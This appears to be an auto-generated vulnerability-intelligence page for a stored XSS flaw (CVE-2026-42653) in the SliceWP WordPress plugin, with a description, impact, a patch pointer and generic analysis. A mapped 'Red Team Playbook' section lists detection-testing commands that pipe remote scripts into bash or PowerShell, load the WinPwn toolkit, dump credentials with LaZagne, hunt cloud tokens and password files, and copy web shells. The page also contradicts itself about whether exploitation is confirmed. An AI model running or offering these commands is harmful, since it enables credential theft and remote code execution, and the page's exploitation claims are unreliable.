CVE-2026-42653
Overview
This vulnerability is a Stored Cross-site Scripting (XSS) flaw caused by improper neutralization of user-supplied input during web page generation in the SliceWP WordPress plugin. The root cause lies in the plugin's failure to sanitize or encode input data before rendering it in the affected component, allowing malicious scripts to be stored and executed in users' browsers. The issue affects SliceWP versions up to and including 1.2.6.
Vulnerability Description
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in iova.Mihai SliceWP allows Stored XSS. This issue affects SliceWP: from n/a through 1.2.6.
Impact
An unauthenticated attacker can inject persistent malicious scripts that execute in the browsers of users who view the affected SliceWP pages, potentially leading to session hijacking, credential theft, or unauthorized actions performed on behalf of the victim. This can result in compromise of user accounts and exposure of sensitive data within the WordPress environment. The attack requires no authentication but may require user interaction to trigger the payload execution.
Solution
Users of the SliceWP WordPress plugin should upgrade to a version later than 1.2.6, where the vulnerability is addressed. Detailed patch instructions and updates are available at the Patchstack advisory: https://patchstack.com/database/wordpress/plugin/slicewp/vulnerability/wordpress-slicewp-plugin-1-2-6-cross-site-scripting-xss-vulnerability?_s_id=cve. No vendor-specific advisory ID was provided, but the vendor recommends immediate update to the fixed version to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question pertains to an improper neutralization of input during web page generation, commonly known as a Cross-site Scripting (XSS) flaw, found in the SliceWP plugin. This type of vulnerability arises when an application fails to adequately sanitize user input, allowing malicious scripts to be injected and executed in the context of a user's browser. In this case, the flaw allows for stored XSS, meaning that the injected script is saved on the server and served to users who access the affected web pages. This can lead to a range of malicious activities, including data theft, session hijacking, and the spread of malware.
Attack vectors for exploiting this vulnerability are varied and can be executed through multiple methods. An attacker might leverage forms or input fields within the SliceWP plugin to submit malicious scripts. Once the script is stored on the server, any user who accesses the compromised page will inadvertently execute the script in their browser. This can be particularly damaging in environments where users have elevated privileges, as the attacker could gain access to sensitive information or perform actions on behalf of the user. Additionally, the vulnerability could be exploited in conjunction with social engineering tactics, where users are tricked into clicking links that lead to the compromised pages.
The real-world impact of such a vulnerability can be significant, especially for businesses that rely on web applications for customer interaction and data management. The potential for data breaches is heightened, as attackers can harvest sensitive information such as login credentials, personal data, or payment information. Furthermore, the reputational damage associated with a successful XSS attack can lead to a loss of customer trust and a decline in business. Organizations may also face regulatory scrutiny and potential fines if they fail to protect user data adequately. The financial implications of a breach can be severe, encompassing remediation costs, legal fees, and loss of revenue due to decreased customer confidence.
To detect and mitigate this type of vulnerability, organizations should implement a multi-layered security approach. Regular security assessments, including penetration testing and code reviews, can help identify and remediate vulnerabilities before they are exploited. Employing web application firewalls (WAFs) can provide an additional layer of defense by filtering out malicious requests. Furthermore, developers should adhere to secure coding practices, such as input validation and output encoding, to prevent the injection of harmful scripts. Educating users about the risks of XSS and promoting safe browsing habits can also help mitigate the potential impact of such vulnerabilities.
In conclusion, the improper neutralization of input during web page generation in the SliceWP plugin presents a serious security risk that can lead to significant business consequences. Understanding the technical details of the vulnerability, potential attack vectors, and the real-world implications is crucial for organizations to effectively safeguard their web applications. By adopting robust detection and mitigation strategies, businesses can protect themselves and their users from the threats posed by stored XSS vulnerabilities.
The recent revision of the CVSS score for CVE-2026-42653 from 0.0 to 7.1 reflects a reassessment of the vulnerability’s potential impact and exploitability, indicating a high-severity risk that was previously unquantified. This adjustment is significant for defenders as it elevates the priority for vulnerability management and patching efforts within affected environments using the SliceWP plugin. Although CSURFACE threat intelligence has not detected any new exploit activity or proof-of-concept releases targeting this stored XSS flaw, the slight increase in the EPSS score suggests a growing theoretical likelihood of exploitation attempts in the near term. Consequently, the threat level associated with this vulnerability has materially increased, warranting heightened vigilance despite the current absence of active exploitation. This change underscores the importance of proactive monitoring and reinforces the criticality of addressing input neutralization weaknesses in web page generation to prevent potential compromise scenarios.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsActive exploitation confirmed — vendor: slicewp, product: affiliate_program_suite
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-42653 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/wordpress/plugin/slicewp/vulnerability/wordpress-slicewp-plugin-1-2-6-cross-site-scripting-xss-vulnerability?_s_id=cve |